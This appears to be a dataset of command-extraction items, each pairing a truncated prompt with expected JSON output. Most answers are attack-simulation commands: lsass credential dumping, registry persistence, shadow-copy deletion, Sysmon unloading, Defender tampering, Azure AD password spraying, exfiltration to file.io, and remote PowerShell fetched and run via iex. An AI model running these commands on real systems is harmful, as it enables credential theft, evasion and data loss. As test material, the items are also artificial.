Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:
{
"command_list": ["command1", "command2", ...]
}
Here is the text you need to analyze:
To dump the memory of ls... | {"command_list": ["\"#{procdump_exe}\" -accepteula -ma lsass.exe #{output_file}\n", "C:\\Windows\\System32\\rundll32.exe C:\\windows\\System32\\comsvcs.dll, MiniDump (Get-Process lsass).id $env:TEMP\\lsass-comsvcs.dmp full\n"]} |
Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:
Your task is to:
1. Determine whether the input text contains any command execution statement (e.... |
Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:
{
"command_list": ["command1", "command2", ...]
}
Here is the text you need to analyze:
To append an entry that ... | {"command_list": ["FILE=`find ~/Library/Preferences/ByHost/com.apple.loginwindow.*.plist -type f | head -1`\nif [ -z \"${FILE}\" ] ; then echo \"No loginwindow plist file found\" && exit 1 ; fi\necho save backup copy to /tmp/\ncp ${FILE} /tmp/t1547007_loginwindow-backup.plist\necho before\nplutil -p ${FILE}\necho overw... |
Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:
Your task is to:
1. Determine whether the input text contains any command execution statement (e.... |
Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:
{
"command_list": ["command1", "command2", ...]
}
Here is the text you need to analyze:
This Azure Function code... | {"command_list": ["az login # Log in to Azure CLI\n\n$allowSharedKeyAccess = az storage account show --name \"#{storage_account_name}\" --query \"allowSharedKeyAccess\"\n\nif ($allowSharedKeyAccess -eq \"false\") { # $allowSharedKeyAccess could be true or null\n Write-Output \"Shared key access is disabled for... |
Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:
Your task is to:
1. Determine whether the input text contains any command execution statement (e.... |
Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:
{
"command_list": ["command1", "command2", ...]
}
Here is the text you need to analyze:
The process involves cre... | {"command_list": ["mkdir .\\tmp\\victim-files\ncd .\\tmp\\victim-files\necho \"This file will be encrypted\" > .\\encrypted_file.txt\n\"#{rar_exe}\" a -hp\"blue\" hello.rar\ndir\n", "path=%path%;\"C:\\Program Files (x86)\\winzip\"\nmkdir .\\tmp\\victim-files\ncd .\\tmp\\victim-files\necho \"This file will be encrypted\... |
Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:
Your task is to:
1. Determine whether the input text contains any command execution statement (e.... |
Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:
{
"command_list": ["command1", "command2", ...]
}
Here is the text you need to analyze:
The process of creating ... | {"command_list": ["$SamAccountName = '#{username}'\n$AccountPassword = ConvertTo-SecureString '#{password}' -AsPlainText -Force\nAdd-Type -AssemblyName System.DirectoryServices.AccountManagement\n$Context = New-Object -TypeName System.DirectoryServices.AccountManagement.PrincipalContext -ArgumentList ([System.Directory... |
Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:
Your task is to:
1. Determine whether the input text contains any command execution statement (e.... |
Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:
{
"command_list": ["command1", "command2", ...]
}
Here is the text you need to analyze:
Upon successful executio... | {"command_list": ["REG ADD \"HKCU\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run\" /V \"Atomic Red Team\" /t REG_SZ /F /D \"#{command_to_execute}\"\n", "REG ADD HKLM\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\RunOnceEx\\0001\\Depend /v 1 /d \"#{thing_to_execute}\"\n"]} |
Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:
Your task is to:
1. Determine whether the input text contains any command execution statement (e.... |
Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:
{
"command_list": ["command1", "command2", ...]
}
Here is the text you need to analyze:
For egress testing of op... | {"command_list": ["$ports = Get-content \"#{port_file}\"\n$file = \"#{output_file}\"\n$totalopen = 0\n$totalports = 0\nNew-Item $file -Force\nforeach ($port in $ports) {\n $test = new-object system.Net.Sockets.TcpClient\n $wait = $test.beginConnect(\"allports.exposed\", $port, $null, $null)\n $wait.asyncwaitha... |
Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:
Your task is to:
1. Determine whether the input text contains any command execution statement (e.... |
Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:
{
"command_list": ["command1", "command2", ...]
}
Here is the text you need to analyze:
The named pipe executabl... | {"command_list": ["\"PathToAtomicsFolder\\..\\ExternalPayloads\\build\\namedpipes_executor.exe\" --pipe 5\n", "copy \\\\#{remote}\\C$\\#{share_file} %TEMP%\\#{local_file}"]} |
Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:
Your task is to:
1. Determine whether the input text contains any command execution statement (e.... |
Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:
{
"command_list": ["command1", "command2", ...]
}
Here is the text you need to analyze:
Ammyy Admin Remote Deskt... | {"command_list": ["Start-Process \"#{Ammyy_Admin_Path}\"\n", "Start-Process \"#{RemotePC_Path}\"\n"]} |
Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:
Your task is to:
1. Determine whether the input text contains any command execution statement (e.... |
Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:
{
"command_list": ["command1", "command2", ...]
}
Here is the text you need to analyze:
For persistence via the ... | {"command_list": ["net stop w32time\nCopy-Item \"$PathToAtomicsFolder\\T1547.003\\bin\\AtomicTest.dll\" C:\\Users\\Public\\AtomicTest.dll\nreg add \"HKEY_LOCAL_MACHINE\\SYSTEM\\CurrentControlSet\\Services\\W32Time\\TimeProviders\\NtpServer\" /t REG_SZ /v \"DllName\" /d \"C:\\Users\\Public\\AtomicTest.dll\" /f\nreg add ... |
Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:
Your task is to:
1. Determine whether the input text contains any command execution statement (e.... |
Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:
{
"command_list": ["command1", "command2", ...]
}
Here is the text you need to analyze:
This operation spawns cm... | {"command_list": ["netsh advfirewall firewall show rule name=all\n", "if [ \"$(uname)\" = 'FreeBSD' ]; then cmd=\"netstat -Sp tcp\"; else cmd=\"netstat -ant\"; fi;\nif [ -x \"$(command -v arp)\" ]; then arp -a; else echo \"arp is missing from the machine. skipping...\"; fi;\nif [ -x \"$(command -v ifconfig)\" ]; then i... |
Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:
Your task is to:
1. Determine whether the input text contains any command execution statement (e.... |
Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:
{
"command_list": ["command1", "command2", ...]
}
Here is the text you need to analyze:
By executing this comman... | {"command_list": ["reg add \"HKLM\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Explorer\\MyComputer\\BackupPath\" /t REG_EXPAND_SZ /d \"%systemroot%\\system32\\notepad.exe\" /f\n", "reg add \"HKEY_LOCAL_MACHINE\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\App Paths\\#{app_name}\" /t REG_SZ /d #{new_path} /f\n"]} |
Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:
Your task is to:
1. Determine whether the input text contains any command execution statement (e.... |
Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:
{
"command_list": ["command1", "command2", ...]
}
Here is the text you need to analyze:
The code signing policy ... | {"command_list": ["bcdedit /set testsigning on", "if [ \"$(uname)\" = 'FreeBSD' ]; then cmd=\"b64decode -r\"; else cmd=\"base64 -d\"; fi;\ncat /tmp/encoded.dat | $cmd > /tmp/art.sh\nchmod +x /tmp/art.sh\n/tmp/art.sh\n"]} |
Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:
Your task is to:
1. Determine whether the input text contains any command execution statement (e.... |
Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:
{
"command_list": ["command1", "command2", ...]
}
Here is the text you need to analyze:
The default behavior is ... | {"command_list": ["C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\csc.exe /out:\"#{output_file}\" /target:exe \"#{source_file}\"\n%tmp%/T1106.exe\n", "iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/Get-System-Techniques/master/CreateProcess/Get-CreateProcessSystem.ps1... |
Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:
Your task is to:
1. Determine whether the input text contains any command execution statement (e.... |
Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:
{
"command_list": ["command1", "command2", ...]
}
Here is the text you need to analyze:
The replacement of regis... | {"command_list": ["reg add \"HKLM\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Explorer\\MyComputer\\cleanuppath\" /t REG_EXPAND_SZ /d \"%systemroot%\\system32\\notepad.exe\" /f\n", "reg add \"HKLM\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Explorer\\MyComputer\\DefragPath\" /t REG_EXPAND_SZ /d \"%systemroot%\\sy... |
Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:
Your task is to:
1. Determine whether the input text contains any command execution statement (e.... |
Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:
{
"command_list": ["command1", "command2", ...]
}
Here is the text you need to analyze:
The system will execute ... | {"command_list": ["ps >> #{output_file}\nps aux >> #{output_file}\n", "tasklist\n"]} |
Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:
Your task is to:
1. Determine whether the input text contains any command execution statement (e.... |
Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:
{
"command_list": ["command1", "command2", ...]
}
Here is the text you need to analyze:
To enable a startup PIN ... | {"command_list": ["reg add \"HKLM\\SOFTWARE\\Policies\\Microsoft\\FVE\" /v UsePIN /t REG_DWORD /d 2 /f\n", "reg add \"HKLM\\SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\AppCompatFlags\\TelemetryController\\#{new_key}\" /t REG_SZ /v Command /d #{new_executable} /f\n"]} |
Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:
Your task is to:
1. Determine whether the input text contains any command execution statement (e.... |
Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:
{
"command_list": ["command1", "command2", ...]
}
Here is the text you need to analyze:
This operation downloads... | {"command_list": ["sc.exe \\\\#{remote_host} create #{service_name} binPath= \"#{binary_path}\" start=#{startup_type} type=#{service_type}\nsc.exe \\\\#{remote_host} start #{service_name}\n", "Stop-Service -Name \"#{service_name}\" -force -erroraction silentlycontinue | Out-Null\nset-servicebinarypath -name \"#{service... |
Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:
Your task is to:
1. Determine whether the input text contains any command execution statement (e.... |
Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:
{
"command_list": ["command1", "command2", ...]
}
Here is the text you need to analyze:
This PowerShell script e... | {"command_list": ["$DirectorySearcher = New-Object System.DirectoryServices.DirectorySearcher(\"(ObjectCategory=Computer)\")\n$DirectorySearcher.PropertiesToLoad.Add(\"Name\")\n$Computers = $DirectorySearcher.findall()\nforeach ($Computer in $Computers) {\n $Computer = $Computer.Properties.name\n if (!$Computer) { Co... |
Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:
Your task is to:
1. Determine whether the input text contains any command execution statement (e.... |
Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:
{
"command_list": ["command1", "command2", ...]
}
Here is the text you need to analyze:
To push a file to a remo... | {"command_list": ["scp #{local_file} #{username}@#{remote_host}:#{remote_path}\n", "scp #{username}@#{remote_host}:#{remote_file} #{local_path}\n"]} |
Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:
Your task is to:
1. Determine whether the input text contains any command execution statement (e.... |
Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:
{
"command_list": ["command1", "command2", ...]
}
Here is the text you need to analyze:
When running this test o... | {"command_list": ["mkdir c:\\exfil\ndiskshadow.exe /s #{filename}\n", "find #{file_path}/.aws -name \"credentials\" -type f 2>/dev/null\n"]} |
Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:
Your task is to:
1. Determine whether the input text contains any command execution statement (e.... |
Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:
{
"command_list": ["command1", "command2", ...]
}
Here is the text you need to analyze:
To remove Windows Volume... | {"command_list": ["wmic.exe shadowcopy delete\n", "wbadmin delete catalog -quiet\n"]} |
Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:
Your task is to:
1. Determine whether the input text contains any command execution statement (e.... |
Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:
{
"command_list": ["command1", "command2", ...]
}
Here is the text you need to analyze:
The following command wi... | {"command_list": ["echo '#{command_to_add}' >> ~/.bashrc\n", "echo '#{command_to_add}' >> ~/.shrc\n"]} |
Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:
Your task is to:
1. Determine whether the input text contains any command execution statement (e.... |
Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:
{
"command_list": ["command1", "command2", ...]
}
Here is the text you need to analyze:
Attackers often use this... | {"command_list": ["Clear-History\n", "reg.exe export HKLM\\SYSTEM\\CurrentControlSet\\Control\\Lsa\\ \"PathToAtomicsFolder\\T1556.002\\lsa_backup.reg\"\n$passwordFilterName = (Copy-Item \"#{dll_path}\\#{dll_name}\" -Destination \"C:\\Windows\\System32\" -PassThru).basename\n$lsaKey = Get-Item \"HKLM:\\SYSTEM\\CurrentCo... |
Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:
Your task is to:
1. Determine whether the input text contains any command execution statement (e.... |
Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:
{
"command_list": ["command1", "command2", ...]
}
Here is the text you need to analyze:
To disable and remove th... | {"command_list": ["reg add \"HKEY_CURRENT_USER\\Software\\Microsoft\\Windows\\CurrentVersion\\Policies\\Explorer\" /v NoClose /t REG_DWORD /d 1 /f\n", "reg add \"HKEY_CURRENT_USER\\Software\\Microsoft\\Windows\\CurrentVersion\\Policies\\Explorer\" /v NoSetTaskbar /t REG_DWORD /d 1 /f\n"]} |
Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:
Your task is to:
1. Determine whether the input text contains any command execution statement (e.... |
Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:
{
"command_list": ["command1", "command2", ...]
}
Here is the text you need to analyze:
The files can be encrypt... | {"command_list": ["7z a -p #{file_password} -mhe=on #{encrypted_file_name} #{input_file_path}\n", "openssl enc #{encryption_option} -in #{input_file_path} -out #{output_file_name}\n"]} |
Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:
Your task is to:
1. Determine whether the input text contains any command execution statement (e.... |
Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:
{
"command_list": ["command1", "command2", ...]
}
Here is the text you need to analyze:
For capturing microphone... | {"command_list": ["sh #{filename} #{audiofile} #{duration}\n", "Remove-Item $env:TEMP\\silver.bat -ErrorAction Ignore\nRemove-Item $env:TEMP\\silver.txt -ErrorAction Ignore\n\n# get current domain SID if default was used\n$domain_sid = \"#{domain_sid}\"\nIf ($domain_sid -Match \"DEFAULT\") {\n # code from https://www.... |
Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:
Your task is to:
1. Determine whether the input text contains any command execution statement (e.... |
Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:
{
"command_list": ["command1", "command2", ...]
}
Here is the text you need to analyze:
This atomic simulates an... | {"command_list": ["New-ItemProperty -Path HKLM:\\System\\CurrentControlSet\\Control\\WMI\\Autologger\\EventLog-Application -Name Start -Value 0 -PropertyType \"DWord\" -Force", "reg add \"HKLM\\System\\CurrentControlSet\\Control\\WMI\\Autologger\\EventLog-Application\\#{ETWProviderGUID}\" /v \"Enabled\" /t REG_DWORD /d... |
Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:
Your task is to:
1. Determine whether the input text contains any command execution statement (e.... |
Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:
{
"command_list": ["command1", "command2", ...]
}
Here is the text you need to analyze:
This PowerShell script a... | {"command_list": ["Import-Module -Name AzureAD\n\n$passwords = \"#{passwords}\".split(\"{`n}\")\nforeach($password in $passwords) {\n $PWord = ConvertTo-SecureString -String \"$password\" -AsPlainText -Force\n $Credential = New-Object -TypeName System.Management.Automation.PSCredential -ArgumentList \"#{username}\", ... |
Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:
Your task is to:
1. Determine whether the input text contains any command execution statement (e.... |
Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:
{
"command_list": ["command1", "command2", ...]
}
Here is the text you need to analyze:
To disable the Windows c... | {"command_list": ["reg add \"HKEY_CURRENT_USER\\Software\\Microsoft\\Windows\\CurrentVersion\\Policies\\System\" /v DisableChangePassword /t REG_DWORD /d 1 /f\n", "reg add \"HKEY_CURRENT_USER\\Software\\Microsoft\\Windows\\CurrentVersion\\Policies\\System\" /v DisableLockWorkstation /t REG_DWORD /d 1 /f\n"]} |
Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:
Your task is to:
1. Determine whether the input text contains any command execution statement (e.... |
Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:
{
"command_list": ["command1", "command2", ...]
}
Here is the text you need to analyze:
A delay can be created p... | {"command_list": ["ping -c #{ping_count} 8.8.8.8 > /dev/null\n#{evil_command}\n", "cmd.exe /c \"net use \\\\#{computer_name}\\#{share_name} #{password} /u:#{user_name}\"\n"]} |
Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:
Your task is to:
1. Determine whether the input text contains any command execution statement (e.... |
Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:
{
"command_list": ["command1", "command2", ...]
}
Here is the text you need to analyze:
Upon successful executio... | {"command_list": ["rundll32.exe \"#{input_file}\",#2\n", "rundll32.exe shell32.dll,Control_RunDLL \"#{input_file}\"\n"]} |
Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:
Your task is to:
1. Determine whether the input text contains any command execution statement (e.... |
Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:
{
"command_list": ["command1", "command2", ...]
}
Here is the text you need to analyze:
When attempting to downl... | {"command_list": ["$imewdbled = $env:SystemRoot + \"\\System32\\IME\\SHARED\\IMEWDBLD.exe\"\n& $imewdbled #{remote_url}\n", "\"#{Path_to_file}\" 1>NUL \n"]} |
Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:
Your task is to:
1. Determine whether the input text contains any command execution statement (e.... |
Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:
{
"command_list": ["command1", "command2", ...]
}
Here is the text you need to analyze:
For comprehensive networ... | {"command_list": ["ipconfig /all\nnet config workstation\nnet view /all /domain\nnltest /domain_trusts\n", "$ports = Get-content \"#{port_file}\"\n$file = \"#{output_file}\"\n$totalopen = 0\n$totalports = 0\nNew-Item $file -Force\nforeach ($port in $ports) {\n $test = new-object system.Net.Sockets.TcpClient\n $wa... |
Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:
Your task is to:
1. Determine whether the input text contains any command execution statement (e.... |
Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:
{
"command_list": ["command1", "command2", ...]
}
Here is the text you need to analyze:
To unload the Sysinterna... | {"command_list": ["fltmc.exe unload #{sysmon_driver}\n", "sysmon -u\n"]} |
Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:
Your task is to:
1. Determine whether the input text contains any command execution statement (e.... |
Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:
{
"command_list": ["command1", "command2", ...]
}
Here is the text you need to analyze:
For payload persistence ... | {"command_list": ["New-Item -ItemType Directory -path \"#{new_startup_folder}\"\nCopy-Item -path \"#{payload}\" -destination \"#{new_startup_folder}\"\nSet-ItemProperty -Path \"HKLM:\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Explorer\\User Shell Folders\" -Name \"Common Startup\" -Value \"#{new_startup_folder}\"\... |
Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:
Your task is to:
1. Determine whether the input text contains any command execution statement (e.... |
Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:
{
"command_list": ["command1", "command2", ...]
}
Here is the text you need to analyze:
The HTML file, inspired ... | {"command_list": ["& \"PathToAtomicsFolder\\T1027.006\\bin\\T1027_006_remote.html\"\n", "net time \\\\#{computer_name}\nw32tm /tz\n"]} |
Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:
Your task is to:
1. Determine whether the input text contains any command execution statement (e.... |
Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:
{
"command_list": ["command1", "command2", ...]
}
Here is the text you need to analyze:
To establish persistence... | {"command_list": ["Copy-Item -Path PathToAtomicsFolder\\T1546\\src\\ErrorHandler.cmd -Destination C:\\Windows\\Setup\\Scripts\\ErrorHandler.cmd\nC:\\windows\\System32\\oobe\\Setup\n", "reg add \"HKCU\\Software\\Microsoft\\Office\\16.0\\Word\\Options\" /v STARTUP-PATH /t REG_SZ /d \"C:\\Users\\%USERNAME%\\AppData\\Roami... |
Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:
Your task is to:
1. Determine whether the input text contains any command execution statement (e.... |
Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:
{
"command_list": ["command1", "command2", ...]
}
Here is the text you need to analyze:
To exfiltrate data via H... | {"command_list": ["curl -F 'file=@#{input_file}' -F 'maxDownloads=1' -F 'autoDelete=true' https://file.io/\n", "wget --post-file=\"#{input_file}\" --timeout=5 --no-check-certificate #{endpoint_domain} --delete-after\n"]} |
Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:
Your task is to:
1. Determine whether the input text contains any command execution statement (e.... |
Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:
{
"command_list": ["command1", "command2", ...]
}
Here is the text you need to analyze:
To retrieve Group Policy... | {"command_list": ["powershell -nop -exec bypass -c \"IEX (New-Object Net.WebClient).DownloadString('https://github.com/BC-SECURITY/Empire/blob/86921fbbf4945441e2f9d9e7712c5a6e96eed0f3/empire/server/data/module_source/situational_awareness/network/powerview.ps1'); Get-DomainGPO\"", "iex(new-object net.webclient).downloa... |
Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:
Your task is to:
1. Determine whether the input text contains any command execution statement (e.... |
Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:
{
"command_list": ["command1", "command2", ...]
}
Here is the text you need to analyze:
To create and execute a ... | {"command_list": ["sudo cp #{path_malicious_plist} /Library/LaunchAgents/#{plist_filename}\nlaunchctl load -w /Library/LaunchAgents/#{plist_filename}\n", "sudo cp \"#{plist}\" /etc/emond.d/rules/T1546.014_emond.plist\nsudo touch /private/var/db/emondClients/T1546.014\n"]} |
Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:
Your task is to:
1. Determine whether the input text contains any command execution statement (e.... |
Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:
{
"command_list": ["command1", "command2", ...]
}
Here is the text you need to analyze:
Redline disables Windows... | {"command_list": ["reg add \"HKLM\\SOFTWARE\\Policies\\Microsoft\\Windows Defender Security Center\\Notifications\" /v \"DisableNotifications\" /t REG_DWORD /d 1 /f\n", "reg add \"HKLM\\SOFTWARE\\Policies\\Microsoft\\Windows\\WindowsUpdate\\AU\" /v \"NoAutoUpdate\" /t REG_DWORD /d 1 /f\n"]} |
Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:
Your task is to:
1. Determine whether the input text contains any command execution statement (e.... |
Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:
{
"command_list": ["command1", "command2", ...]
}
Here is the text you need to analyze:
To delete a file from th... | {"command_list": ["Remove-Item -path #{file_to_delete}\n", "Remove-Item -Path #{folder_to_delete} -Recurse\n"]} |
Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:
Your task is to:
1. Determine whether the input text contains any command execution statement (e.... |
Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:
{
"command_list": ["command1", "command2", ...]
}
Here is the text you need to analyze:
Upon execution, calc.exe... | {"command_list": ["Add-Content #{ps_profile} -Value \"\"\nAdd-Content #{ps_profile} -Value \"Start-Process #{exe_path}\"\npowershell -Command exit\n", "export AWS_REGION=#{aws_region} \ncd #{stratus_path}\necho \"starting warmup\"\n./stratus warmup aws.credential-access.ec2-get-password-data\necho \"starting detonate\"... |
Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:
Your task is to:
1. Determine whether the input text contains any command execution statement (e.... |
Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:
{
"command_list": ["command1", "command2", ...]
}
Here is the text you need to analyze:
To create a Python file ... | {"command_list": ["which_python=$(which python || which python3 || which python3.9 || which python2)\necho 'import requests' > #{python_script_name}\necho 'import os' >> #{python_script_name}\necho 'url = \"#{script_url}\"' >> #{python_script_name}\necho 'malicious_command = \"#{executor} #{payload_file_name} #{script_... |
Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:
Your task is to:
1. Determine whether the input text contains any command execution statement (e.... |
Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:
{
"command_list": ["command1", "command2", ...]
}
Here is the text you need to analyze:
To check the System Inte... | {"command_list": ["csrutil status\n", "iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')\nwinPEAS -noninteractive -consoleoutput"]} |
Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:
Your task is to:
1. Determine whether the input text contains any command execution statement (e.... |
Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:
{
"command_list": ["command1", "command2", ...]
}
Here is the text you need to analyze:
